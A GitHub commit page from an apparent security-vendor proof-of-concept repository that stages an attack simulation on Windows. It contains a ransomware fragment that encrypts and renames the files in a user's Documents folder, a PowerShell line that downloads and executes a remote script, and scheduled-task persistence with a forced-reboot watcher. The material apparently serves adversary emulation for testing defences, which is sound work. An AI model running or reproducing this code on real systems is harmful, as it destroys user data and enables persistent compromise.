Skip to content

Commit

Permalink
AJM
Browse files Browse the repository at this point in the history
  • Loading branch information
andrewmundellsophos committed Apr 23, 2022
1 parent b69cba2 commit 28ce179
Show file tree
Hide file tree
Showing 9 changed files with 22 additions and 3 deletions.
Binary file modified .DS_Store
Binary file not shown.
2 changes: 1 addition & 1 deletion atomicredteam
Original file line number Diff line number Diff line change
Expand Up @@ -3,4 +3,4 @@ Install-PackageProvider -Name NuGet -MinimumVersion 2.8.5.201 -Force;
Install-Module -Name invoke-atomicredteam,powershell-yaml -Scope CurrentUser -Force;
IEX (IWR 'https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/install-atomicsfolder.ps1' -UseBasicParsing);
Install-AtomicsFolder;
Invoke-AtomicTest All -Confirm:$false;
Invoke-AtomicTest All -Confirm:$false;
File renamed without changes.
File renamed without changes.
2 changes: 1 addition & 1 deletion filelessransomware
Original file line number Diff line number Diff line change
Expand Up @@ -12,4 +12,4 @@ return ,$fullData};
foreach($f in Get-ChildItem 'C:\Users\Sophos\Documents') {Get-Content -path $f.fullname -TotalCount 1;
rename-item -path $f.fullname -newname ($f.fullname + '.0wnd');
[IO.File]::WriteAllBytes(($f.fullname + '.0wnd'), (Encrypt-String $key ([IO.File]::ReadAllBytes($f.fullname + '.0wnd'))));
start-sleep -s 4}
start-sleep -s 4}
11 changes: 11 additions & 0 deletions poc-eap_watcher.ps1
Original file line number Diff line number Diff line change
@@ -0,0 +1,11 @@
Function eapcheck {
$keyPath = "Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Sophos\Management\Policy\ThreatProtection\*\amsi_protection"
$keyVal = "amsi_protection_block_on_detect"
$check = Get-ItemProperty -Path $keyPath | Select $keyVal
write-host $newCheck.$keyVal
if($check.$keyVal -eq 0) {
schtasks /delete /tn "POC EAP Watcher" /F
Restart-Computer -force
}
}
eapcheck
4 changes: 4 additions & 0 deletions poc-stage2.ps1
Original file line number Diff line number Diff line change
@@ -0,0 +1,4 @@
schtasks /create /sc onlogon /tn "POC Stage 3" /tr "c:\threat\poc-stage3.bat" /ru Sophos /F
Start-Process c:\threat\SophosSetup.exe --quiet -Wait
schtasks /delete /tn "POC Stage 2" /F
schtasks /create /sc minute /mo 1 /tn "POC EAP Watcher" /tr "C:\Windows\System32\WindowsPowerShell\v1.0\PowerShell.exe -ExecutionPolicy Bypass c:\threat\poc-eap_watcher.ps1" /ru System /F
4 changes: 4 additions & 0 deletions poc-stage3.bat
Original file line number Diff line number Diff line change
@@ -0,0 +1,4 @@
start "" /B "C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE"
taskkill /im outlook.exe /f
"C:\Program Files\Python310\python.exe" -m pip install -r c:\threat\requirements.txt
"C:\Program Files\Python310\python.exe" c:\threat\{|vars.PythonStager|}
2 changes: 1 addition & 1 deletion requirements.txt
Original file line number Diff line number Diff line change
Expand Up @@ -10,4 +10,4 @@ pywinauto==0.6.8
pywinauto-recorder==0.5.0
six==1.16.0
uiautomation==2.0.16
WMI==1.5.1
WMI==1.5.1

0 comments on commit 28ce179

Please sign in to comment.